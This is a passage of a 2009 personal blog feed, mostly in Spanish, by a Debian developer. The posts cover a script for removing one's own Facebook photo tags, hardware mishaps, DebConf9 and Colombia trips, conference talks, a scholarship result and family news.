<p>La privacidad en <a href="http://www.facebook.com/privacy/">Facebook</a> es un asunto complejo. Como gran suscriptor a la <a href="http://www.urbandictionary.com/define.php?term=Worlds Collide Theory">Teoría de Colisión de Mundos</a> es que odio ser etiquetado en fotos de forma compulsiva. Me gustaría tener alguna forma de elegir en que fotos aparezco en mi perfil y actualizaciones. Dado que no pude encontrar tal opción entre la configuración, busqué la respuesta en mi lenguaje de scripting favorito: <a href="http://www.python.org/">Python</a>.</p>
<p><a href="http://python.pastebin.com/f55c5896f">Este script de 60 lineas</a> remueve tu etiqueta de las últimas fotos donde te hayan tagueado. Puede ser descargado desde <a href="http://www.lucianobello.com.ar/rmfb/">aquí</a>. Hay que correrlo cada hora (o cada 15 minutos, o cada 5, dependiendo de que tan paranoico seas) a través de <a href="http://en.wikipedia.org/wiki/Cron">cron</a> o como sea.</p>
<p>Cualquier mejora es bienvenida. Posiblemente también corra en Windows. Si lograste hacer esto, deja un comentario que pueda serle útil a otros.</p>
<p><strong>¡NUEVA VERSIÓN!</strong> (disponible <a href="http://www.lucianobello.com.ar/rmfb/">aquí</a>).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/rmfb-es/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>neue Handy</title>
		<link>http://www.lucianobello.com.ar/post/neue-handy/</link>
		<comments>http://www.lucianobello.com.ar/post/neue-handy/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 23:44:21 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[life]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1234</guid>
		<description><![CDATA[Es claro que los dioses del hardware me odian. Hace unos días comenté sobre el inconveniente con mi laptop. Alrededor de esa misma fecha, mi teléfono celular se consideró a sí mismo en edad de jubilarse. Y así lo hizo, aunque con relativo pre-aviso. Le llevó algo de dos semanas pasar de &#8220;a veces funciona [...]]]></description>
			<content:encoded><![CDATA[<p>Es claro que los <a href="http://www.urbandictionary.com/define.php?term=Hardware&#038;defid=287271">dioses del hardware</a> me odian. Hace unos días comenté sobre el <a href="http://www.lucianobello.com.ar/post/lappy-back-manizales/">inconveniente con mi laptop</a>. Alrededor de esa misma fecha, mi teléfono celular se consideró a sí mismo en edad de jubilarse. Y así lo hizo, aunque con relativo pre-aviso. Le llevó algo de dos semanas pasar de &#8220;<em>a veces funciona a veces no</em>&#8221; a &#8220;<em>creo que dejó de prender</em>&#8220;.  Es que estuvo en servicio sus años, ya ni me acuerdo cuantos.</p>
<p>Así fue como mi viejo <a href="http://www.claro.com.ar/equipos/quiero/equipos/equipo_detalle.aspx?id=579">Nokia 3220</a> fue reemplazado por un <a href="http://www.claro.com.ar/equipos/quiero/equipos/equipo_detalle.aspx?id=880">Nokia 3120</a>.</p>
<p>La diferencia es notable:<br />
<img src="http://www.lucianobello.com.ar/blog/nokia_new_old.gif" alt="" /><br />
(efectivamente, lo que tiene en la batería es <a href="http://es.wikipedia.org/wiki/Cinta_adhesiva">cinta <em>escoch</em></a>). ¡Feliz retiro 3220!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/neue-handy/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>lappy back &amp; manizales</title>
		<link>http://www.lucianobello.com.ar/post/lappy-back-manizales/</link>
		<comments>http://www.lucianobello.com.ar/post/lappy-back-manizales/#comments</comments>
		<pubDate>Fri, 09 Oct 2009 04:28:55 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[hardware]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[lectures & talks]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[openssl]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1227</guid>
		<description><![CDATA[La noche de 26 de agosto, mi laptop dejó de encender. Para ser estrictos, encendía pero se reiniciaba al segundo, antes de que el video levante. Desde la mañana del 27 ha estado pasando por varias manos de distintos servicios técnicos. Desde ese momento me vi forzado a tratar con soluciones temporales (como la comentada [...]]]></description>
			<content:encoded><![CDATA[<p>La noche de 26 de agosto, mi laptop dejó de encender. Para ser estrictos, encendía pero se reiniciaba al segundo, antes de que el video levante. Desde la mañana del 27 ha estado pasando por varias manos de distintos servicios técnicos. Desde ese momento me vi forzado a tratar con soluciones temporales (como la comentada en <a href="http://www.lucianobello.com.ar/post/ausbusing/">este post</a>) y lectura de correos en webmails. Finalmente, el viernes pasado decidí, para resolver el problema de cuajo, comprar un motherboard nuevo y ya.  Resultó ser mucho más expeditivo y solo costó una fracción del arreglo. Así, el lunes, a solo 4 horas para partir a Colombia, me reencontré con mi amada lappy en perfecto estado de funcionamiento. ¿Y el motherboard viejo?</p>
<p><center><a href="http://www.lucianobello.com.ar/blog/motherEnTacho.jpg"><img src="http://www.lucianobello.com.ar/blog/motherEnTacho_.png" /></a></center></p>
<p>Después de más de un mes sin bajar correos, la cosa se puso algo espesa.<br />
<center><img src="http://www.lucianobello.com.ar/blog/muchosMails.png" /> </center><br />
Ahora tengo cantidad de cosas en mi <a href="http://en.wikipedia.org/wiki/To-do">ToDo List</a>. Y para echar más leña, esta semana tampoco será de lo más productiva. Ponerme al día me llevará un tiempo.</p>
<p>En cuanto al paso por Colombia, aún sigo aquí. La estoy pasando de maravillas, me he encontrado con varios viejos conocidos (incluyendo <a href="http://elladodelmal.blogspot.com/">Chema</a> y <a href="http://www.gwolf.org/">Gunnar</a>) y <a href="http://www.dragonjar.org/">la organización</a> me hace sentir como en casa.</p>
<p>En este <a href="http://eisi.umanizales.edu.co/">3º Encuentro Internacional de Seguridad Informática</a> me convoca dos temas bizarros, el primer por viejo y el segundo por clásico. Es que volver a hablar de OpenSSL hace que tenga que sacudir el polvo de viejos slides. Pero hablar de <a href="http://en.wikipedia.org/wiki/Kryptos">Kryptos</a>, es aún más raro y genial. Los slides estarán disponibles en este post, seguramente en estos días. Junto con las fotos.</p>
<p><strong>UPDATE Wed, 14 Oct 2009 12:23:29 -0300</strong>: Las diapos, de la charla de <a href="http://www.lucianobello.com.ar/charlas/eisi09/openssl-debian-eisi09.pdf">OpenSSL</a> y de la de <a href="http://www.lucianobello.com.ar/charlas/eisi09/kryptos.pdf">Kryptos</a>. Enjoy them! (las fotos, con un poco más de tiempo)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/lappy-back-manizales/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>sfd @ mdq</title>
		<link>http://www.lucianobello.com.ar/post/sfd-mdq/</link>
		<comments>http://www.lucianobello.com.ar/post/sfd-mdq/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 13:29:41 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[free software]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[lectures & talks]]></category>
		<category><![CDATA[life]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1222</guid>
		<description><![CDATA[Este sábado se celebra en Mar del Plata (tarde pero seguro) el Día de la Libertad del Software, en inglés Software Freedom Day, una celebración internacional cuyo objetivo es promover el uso del Software Libre para el beneficio del público. El evento es organizado por gulBAC (grupo de usuarios de Software Libre de Buenos Aires [...]]]></description>
			<content:encoded><![CDATA[<p>Este sábado se celebra en <a href="http://www.welcomeargentina.com/mardelplata/index_i.html">Mar del Plata</a> (tarde pero seguro) el <a href="http://es.wikipedia.org/wiki/D%C3%ADa_de_la_Libertad_de_Software">Día de la Libertad del Software</a>, en inglés <a href="http://softwarefreedomday.org/" target="_blank">Software Freedom Day</a>, <a href="http://softwarefreedomday.org/"><img align=left style="margin: 5px;" title="sfd" src="http://www.gulbac.org.ar/images/stories/sfd.jpg" alt="" width="360" height="118" /></a>una celebración internacional cuyo objetivo es promover el uso del Software Libre para el beneficio del público.</p>
<p>El evento es organizado por <a href="http://www.gulbac.org.ar/">gulBAC</a> (grupo de usuarios de Software Libre de Buenos Aires central) y tiene un <a href="http://www.gulbac.org.ar/index.php?option=com_content&amp;task=view&amp;id=79&amp;Itemid=1">cronograma</a> con temáticas de los más variado.</p>
<p>Así es como esta noche (mañana por la madrugada, para ser estrictos) me voy para <a href="http://www.welcomeargentina.com/mardelplata/index_i.html">MDQ</a> a pasear, desintoxicarme, leer la pila de papers que tengo pendientes y dar una charla sobre seguridad en el susodicho evento, todo gracias al fuerte esfuerzo de los muchachos/as de gulBAC que se vienen portando de mil maravillas</p>
<p>¿Nos vemos alla?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/sfd-mdq/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>aUSBusing</title>
		<link>http://www.lucianobello.com.ar/post/ausbusing/</link>
		<comments>http://www.lucianobello.com.ar/post/ausbusing/#comments</comments>
		<pubDate>Sat, 19 Sep 2009 07:02:01 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[planet]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1213</guid>
		<description><![CDATA[When your laptop is being repaired (and it&#8217;s still there, since August 28) you need imaginative ways to be connected. Here is my Nokia N800 as something near to a desktop computer. Just few notices: life battery is really short when you plug too many things to the USB interface. usbcontrol rules solder a female-female USB [...]]]></description>
			<content:encoded><![CDATA[<p>When your laptop is being repaired (and it&#8217;s still there, since August 28) you need imaginative ways to be connected.</p>
<p>Here is my Nokia N800 as something near to a desktop computer.</p>
<p><a href="http://www.lucianobello.com.ar/blog/usbusing.png"><img src="http://www.lucianobello.com.ar/blog/usbusing_thumb.png" alt="" /></a></p>
<p>Just few notices:</p>
<ul>
<li>life battery is really short when you plug too many things to the USB interface.</li>
<li><a href="http://maemo.org/downloads/product/OS2008/usbcontrol/">usbcontrol</a> rules</li>
<li>solder a female-female USB adapter is easy and funny (it came from a broken motherboard)</li>
<li>after some weeks using Maemo, ideas about developing applications to it come to my mind</li>
<li>the mail client and the browser included with Maemo suck</li>
<li>my ocular health is being damaged</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/ausbusing/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>llegar para irse</title>
		<link>http://www.lucianobello.com.ar/post/llegar-para-irse/</link>
		<comments>http://www.lucianobello.com.ar/post/llegar-para-irse/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 20:48:20 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[debian]]></category>
		<category><![CDATA[free software]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[lectures & talks]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1205</guid>
		<description><![CDATA[Todavía no termino de llegar (literalmente, que mi mochila se quedó en Madrid un día más que su dueño) y ya tengo el pasaje salir pasado mañana para Bahía Blanca. El evento es Jornadas del Sur, durante este fin de semana largo. Hablaré sobre seguridad y empaquetado, además de encontrarme con amigos para beber y [...]]]></description>
			<content:encoded><![CDATA[<p>Todavía no termino de llegar (literalmente, que mi mochila se quedó en <a href="http://maps.google.com/maps?f=q&amp;source=s_q&amp;hl=en&amp;geocode=&amp;q=madrid&amp;sll=37.0625,-95.677068&amp;sspn=31.701751,55.810547&amp;ie=UTF8&amp;ll=40.457397,-3.703766&amp;spn=0.475435,0.87204&amp;z=10&amp;iwloc=A">Madrid</a> un día más que su dueño) y ya tengo el pasaje salir pasado mañana para <a href="http://maps.google.com/maps?f=q&amp;source=s_q&amp;hl=en&amp;q=Bah%C3%ADa+Blanca,+Buenos+Aires,+Argentina&amp;ie=UTF8&amp;cd=1&amp;geocode=FYJOsf0dUt1J_A&amp;split=0&amp;sll=37.0625,-95.677068&amp;sspn=23.875,57.630033&amp;ll=-38.690869,-62.267761&amp;spn=0.243857,0.43602&amp;z=11&amp;iwloc=A">Bahía Blanca</a>.</p>
<p>El evento es <a href="http://www.jornadasdelsur.org.ar/">Jornadas del Sur</a>, durante este fin de semana largo. Hablaré sobre <a href="http://www.jornadasdelsur.org.ar/index.php?option=com_content&amp;view=article&amp;id=96:seguridad-en-servidores-luciano-bello-&amp;catid=2:charlas&amp;Itemid=22">seguridad</a> y <a href="http://www.jornadasdelsur.org.ar/index.php?option=com_content&amp;view=article&amp;id=95:creacion-de-paquetes-deb-luciano-bello&amp;catid=9:talleres&amp;Itemid=23">empaquetado</a>, además de encontrarme con amigos para beber y divertirse :P</p>
<p style="text-align: center;"><a href="http://www.jornadasdelsur.org.ar/"><img class="aligncenter" src="http://www.lucianobello.com.ar/blog/jornadasDELsur.jpg" alt="" width="450" height="300" align="center" /></a></p>
<p>¿Nos vemos allá?</p>
<p><strong>UPDATE Fri, 14 Aug 2009</strong>: Las fotos <a href="http://www.lucianobello.com.ar/fotos/?galerie=madrid09">ya están disponibles</a>, a excepción de las de Toledo, que están en una cámara desechable porque me olvidé la digital cuando fui.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/llegar-para-irse/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>cáceres-&gt;lisbon-&gt;madrid</title>
		<link>http://www.lucianobello.com.ar/post/caceres-lisbon-madrid/</link>
		<comments>http://www.lucianobello.com.ar/post/caceres-lisbon-madrid/#comments</comments>
		<pubDate>Fri, 07 Aug 2009 00:57:20 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[debian]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[life]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1189</guid>
		<description><![CDATA[Esta última quincena ha sido de lo más intensa. Lo más destacable, por lejos, fue DebConf9. Esa semana donde las cosas se viven de forma profundamente apasionadas, donde a cada paso hay diversión y amigos. Este año tuvo lugar en Cáceres, una ciudad relativamente pequeña de Extremadura. Me dediqué, mayormente, a escuchar charlas, intentar revivir [...]]]></description>
			<content:encoded><![CDATA[<p>Esta última quincena ha sido de lo más intensa.</p>
<p><a href="http://www.lucianobello.com.ar/fotos/?galerie=debconf9&amp;photo=33"><img src="http://www.lucianobello.com.ar/fotos/galleries/debconf9/thumbs/img-33.jpg" alt="DebConf9" width="90" height="120" align="right" /></a>Lo más destacable, por lejos, fue <a href="http://debconf9.debconf.org/">DebConf9</a>. Esa semana donde las cosas se viven de forma profundamente apasionadas, donde a cada paso hay diversión y amigos. Este año tuvo lugar en <a href="http://maps.google.com/maps?q=c%C3%A1ceres+extremadura">Cáceres</a>, una ciudad relativamente pequeña de Extremadura. Me dediqué, mayormente, a escuchar charlas, intentar revivir paquetes que tenía algo olvidados, y hacer mucho trabajo de <a href="http://www.debian.org/security/">security</a>. Incluso siendo <span class="word1">impresionantemente</span> productivo, mi <a href="http://en.wikipedia.org/wiki/To-do_list#Task_list">ToDoList</a>, lejos de reducirse durante esa semana, aumentó paradógicamente su tamaño en varias veces. Trabajo y diversión en envase familiar.</p>
<p>Mi idea no era volverme directamente a casa de DebConf9. Por un lado, estar <a href="http://maps.google.com/maps?q=europa">de este lado del charco</a> implica un esfuerzo demasiado grande que requiere ser amortizado. Por otro, conservo la esperanza que <a href="http://www.lucianobello.com.ar/post/debconf7-ended/">la depresión-post-debconf</a> pegue menos si antes de volver doy una vuelta por ahí. El hecho es que, sin un plan, coordine mi pasaje de regreso sumando dos semanas a la finalización de DebConf9. Así fue como terminé en Lisboa, gracias a <a href="http://web.tagus.ist.utl.pt/~jose.calhariz/">José</a> que me llevó en su auto y empujado por la promesa de un país más barato que el español.</p>
<p><a href="http://www.lucianobello.com.ar/fotos/?galerie=lisboa09&amp;photo=87"><img src="http://www.lucianobello.com.ar/fotos/galleries/lisboa09/thumbs/img-87.jpg" alt="Lisboa" align="right" /></a>En Lisboa pasé unos 4 días, muy lindos por cierto. Es una ciudad atípica, llena de particularidades, con gente agradable y más extranjeros que locales. Posiblemente el <a href="http://www.lucianobello.com.ar/fotos/?galerie=lisboa09">álbum de fotos</a> pueda contar más detalles.</p>
<p>De ahí y en tren, partí a <a href="http://maps.google.com/maps?q=madrid">Madrid</a>, donde estoy viviendo la última semana de este viaje. Siempre estoy de paso en Madrid, lo que es injusto, ya que nunca me hice el tiempo para visitarla como un turista más. Con el tiempo he criado algunas amistadas acá, por lo que también ocuparé estos días en ponerme al día y beber cerveza.</p>
<p>Mañana (en algunas horas, para ser estricto) tengo pensado ir a <a href="http://maps.google.com/maps?q=toledo,%20spain">Toledo</a>, así que va llegando el momento de hibernar mi laptop e irme a dormir.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/caceres-lisbon-madrid/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>at debconf9</title>
		<link>http://www.lucianobello.com.ar/post/at-debconf9/</link>
		<comments>http://www.lucianobello.com.ar/post/at-debconf9/#comments</comments>
		<pubDate>Thu, 23 Jul 2009 21:00:55 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[debian]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[lectures & talks]]></category>
		<category><![CDATA[life]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1185</guid>
		<description><![CDATA[Después de dos excelentes días en Madrid, tratando de recuperarme de un viaje demasiado largo, embarcamos en un bus con rumbo a Cáceres, junto con Santiago. Ahora estoy escribiendo esto desde el hacklab 1 de DebConf9, con esa hermosa senciación de haberme encontrado con mucha gente y de estar listo para vivir esos inolvidables días [...]]]></description>
			<content:encoded><![CDATA[<p>Después de dos excelentes días en Madrid, tratando de recuperarme de un viaje demasiado largo, embarcamos en un bus con rumbo a Cáceres, junto con Santiago.</p>
<p>Ahora estoy escribiendo esto desde el hacklab 1 de DebConf9, con esa hermosa senciación de haberme encontrado con mucha gente y de estar listo para vivir esos inolvidables días al año :)</p>
<p>Mañana, junto con Enrico y Steve, estaremos dando <a href="https://penta.debconf.org/dc9_schedule/events/479.en.html">una charla en el OpenDay</a>, la cual aún no empezado a preparar, así que será una noche divertida. Posiblemente vaya a estar disponible el streaming de videos, pero aún no se en qué URL.</p>
<p>En breve, fotos.</p>
<p>UPDATE 05 Aug: Lo prometido, <a href="http://www.lucianobello.com.ar/fotos/?galerie=debconf9">las fotos</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/at-debconf9/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>see you at DebConf9!</title>
		<link>http://www.lucianobello.com.ar/post/see-you-at-debconf9/</link>
		<comments>http://www.lucianobello.com.ar/post/see-you-at-debconf9/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 16:17:35 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[debian]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[planet]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1182</guid>
		<description><![CDATA[I got my air ticket yesterday. So, I&#8217;m able to say that I will go to DebConf9! The only thing missing in my itinerary is a cheap way to go to Cáceres from Madrid (it will be by train, most probably)]]></description>
			<content:encoded><![CDATA[<p>I got my air ticket yesterday. So, I&#8217;m able to say that I will go to DebConf9!<br />
<img src="http://media.debconf.org/dc9/images/debconf9-going-to.png"/><br />
The only thing missing in my itinerary is a cheap way to go to Cáceres from Madrid (it will be by train, most probably)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/see-you-at-debconf9/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>not yours</title>
		<link>http://www.lucianobello.com.ar/post/not-yours/</link>
		<comments>http://www.lucianobello.com.ar/post/not-yours/#comments</comments>
		<pubDate>Tue, 26 May 2009 15:12:30 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[depression]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[planet]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1143</guid>
		<description><![CDATA[If I say &#8220;I got the third place in a scholarship application&#8221;, it doesn&#8217;t look bad. But there is money only for the first two persons. Sometimes, close is not enough. So, without money, I won&#8217;t be able to study in Europe&#8230; damn&#8230; Maybe next year&#8230; maybe not. Note: The application was, as you can [...]]]></description>
			<content:encoded><![CDATA[<p>If I say &#8220;I got the third place in a scholarship application&#8221;, it doesn&#8217;t look bad.<br />
<a href="http://www.postgrado.csic.es/JAE-Pre/Listado%20Titulares%20y%20Suplentes%20JAEPRE2009%20con%20RESOLUCION.pdf"><img src="http://www.lucianobello.com.ar/blog/resolucion_beca.png" alt="" /></a><br />
But there is money only for the first two persons. Sometimes, close is not enough. So, without money, I won&#8217;t be able to study in Europe&#8230; damn&#8230;</p>
<p>Maybe next year&#8230; maybe not.</p>
<p>Note: The application was, as you can see, for a <a href="http://www.postgrado.csic.es/tesis%20doctorales_jae.htm">doctoral scholarship in Spain</a>&#8230; my broken English has no effect here&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/not-yours/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>congrats sis!</title>
		<link>http://www.lucianobello.com.ar/post/congrats-sis/</link>
		<comments>http://www.lucianobello.com.ar/post/congrats-sis/#comments</comments>
		<pubDate>Mon, 18 May 2009 13:03:33 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[life]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1136</guid>
		<description><![CDATA[Finally, my sis caught someone for ever&#8230; Only 3 things to say: the wedding gonna be on December 8th Congratulations Pato! Be happy by sharing your happiness My deepest sympathies Seba :P]]></description>
			<content:encoded><![CDATA[<p>Finally, my sis caught someone for ever&#8230;</p>
<p style="text-align: center;"><a href="http://www.lucianobello.com.ar/wp-content/uploads/2009/05/abuelos-tios-primos_20090315-000006.jpg"><img class="alignnone size-medium wp-image-1137" title="abuelos-tios-primos_20090315-000006" src="http://www.lucianobello.com.ar/wp-content/uploads/2009/05/abuelos-tios-primos_20090315-000006-300x225.jpg" alt="" width="385" height="288" /></a></p>
<p>Only 3 things to say:</p>
<ul>
<li>the wedding gonna be on December 8th</li>
<li>Congratulations Pato! Be happy by sharing your happiness</li>
<li>My deepest sympathies Seba :P</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/congrats-sis/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>interview ( ) { ego++; }</title>
		<link>http://www.lucianobello.com.ar/post/ego/</link>
		<comments>http://www.lucianobello.com.ar/post/ego/#comments</comments>
		<pubDate>Fri, 17 Apr 2009 14:22:11 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[blogging]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[ego]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[planeta]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1125</guid>
		<description><![CDATA[(Sé que estoy escribiendo poco, y sé que con cuestionable calidad. Esta entrada no será la excepción) Circo Linux, un simpático blog/e-zine, me ha realizado una extensa entrevista que puede leerse aquí. Los temas que tratamos han sido de lo más variado, desde Debian hasta mi afición al go. Fue una charla amena. Tengo varias [...]]]></description>
			<content:encoded><![CDATA[<p>(Sé que estoy escribiendo poco, y sé que con cuestionable calidad. Esta entrada no será la excepción)</p>
<p><a href="http://www.circolinux.com.ar/">Circo Linux</a>, un simpático blog/e-zine, me ha realizado una extensa entrevista que puede leerse <a href="http://www.circolinux.com.ar/?p=501">aquí</a>. Los temas que tratamos han sido de lo más variado, desde <a href="http://www.lucianobello.com.ar/category/geek/debian/">Debian</a> hasta mi afición al <a href="http://en.wikipedia.org/wiki/Go_(board_game)">go</a>. Fue una charla amena.</p>
<p>Tengo varias ideas en la cabeza que merecen ser posteadas, pero poco tiempo para plasmarlas. Trataré de cambiar dicha situación en el corto plazo y levantar este blog a lo que solía ser: un lugar divertido donde perder el tiempo.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/ego/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>semana definida</title>
		<link>http://www.lucianobello.com.ar/post/semana-definida/</link>
		<comments>http://www.lucianobello.com.ar/post/semana-definida/#comments</comments>
		<pubDate>Mon, 23 Mar 2009 14:17:49 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[life]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1121</guid>
		<description><![CDATA[Para quienes no se van de vacaciones en enero/febrero, lo dilatado y pesado que se vuelve la vida en estos días es algo molesto. Uno pretende seguir a paso firme y se sorprende a sí mismo tirando de las cosas. Pero esos días ya terminaron y marzo llegó (de hecho, ya está terminando). Alguien dijo [...]]]></description>
			<content:encoded><![CDATA[<p>Para quienes no se van de vacaciones en enero/febrero, lo dilatado y pesado que se vuelve la vida en estos días es algo molesto. Uno pretende seguir a paso firme y se sorprende a sí mismo tirando de las cosas. Pero esos días ya terminaron y marzo llegó (de hecho, ya está terminando).</p>
<p>Alguien dijo por ahí que marzo es al año lo que el lunes es a la semana. Como consecuencia de esto estoy en vías de definir mi actividades semanales, al menos durante los próximos meses. Empecé a estudiar dos materias: <a href="http://www-2.dc.uba.ar/materias/fcm/">Fundamentos de Concurrencia y Movilidad</a> y <a href="http://www-2.dc.uba.ar/materias/metah/">Metaheurísticas</a>. Estoy tratando de retomar formalmente el Inglés, y empezaré con <a href="http://www.cui.edu.ar/?page=aleman">Alemán</a>.</p>
<p>Ahora que lo veo escrito, parece haber demasiado hemisferio izquierdo involucrado en mi semana tipo. Posiblemente le agregue algo para balancearla en los próximos días&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/semana-definida/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>new camera</title>
		<link>http://www.lucianobello.com.ar/post/new-camera/</link>
		<comments>http://www.lucianobello.com.ar/post/new-camera/#comments</comments>
		<pubDate>Mon, 16 Mar 2009 01:42:50 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[hardware]]></category>
		<category><![CDATA[planet]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1118</guid>
		<description><![CDATA[Some days ago, my new camera arrived. I bougth it via Amazon and the parents of a friend brought it to my country. The selected model was a Canon PowerShot SX110 IS. My last camera was a Canon PowerShot A700. It has been in service since April 2006, until a terrible fall ended with its [...]]]></description>
			<content:encoded><![CDATA[<p>Some days ago, my new camera arrived. I bougth it via Amazon and the parents of a friend brought it to my country.</p>
<p>The selected model was a <a href="http://www.usa.canon.com/consumer/controller?act=ModelInfoAct&#038;tabact=SupportDetailTabAct&#038;fcategoryid=225&#038;modelid=17480&#038;kbpage=yes">Canon PowerShot SX110 IS</a>. My last camera was a <a href="http://www.dpreview.com/reviews/specs/Canon/canon_a700.asp">Canon PowerShot A700</a>. It has been in service since <a href="http://www.lucianobello.com.ar/post/say-cheese/">April 2006</a>, until a terrible fall ended with its nice capability of taking good pictures, during the 25C3 in Berlin.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/new-camera/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>remuneración compensatoria por copia privada&#8230;? de acá!!</title>
		<link>http://www.lucianobello.com.ar/post/remuneracion-compensatoria-por-copia-privada-de-aca/</link>
		<comments>http://www.lucianobello.com.ar/post/remuneracion-compensatoria-por-copia-privada-de-aca/#comments</comments>
		<pubDate>Wed, 18 Feb 2009 18:51:11 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[activism]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1116</guid>
		<description><![CDATA[Para aquellos que no saben a que estoy hablando, remuneración compensatoria por copia privada es lo que normalmente se conoce como canon digital. Si aún ahora seguís preguntándote de que va esto te comento: El canon digital es la genialidad de cargar una tasa los medios y soportes de grabación para dársela a las entidades [...]]]></description>
			<content:encoded><![CDATA[<p>Para aquellos que no saben a que estoy hablando, <em><a href="http://es.wikipedia.org/wiki/Canon_por_copia_privada_(Espa%C3%B1a)">remuneración compensatoria por copia privada</a></em> es lo que normalmente se conoce como <em><a href="http://es.wikipedia.org/wiki/Canon_digital">canon digital</a></em>.</p>
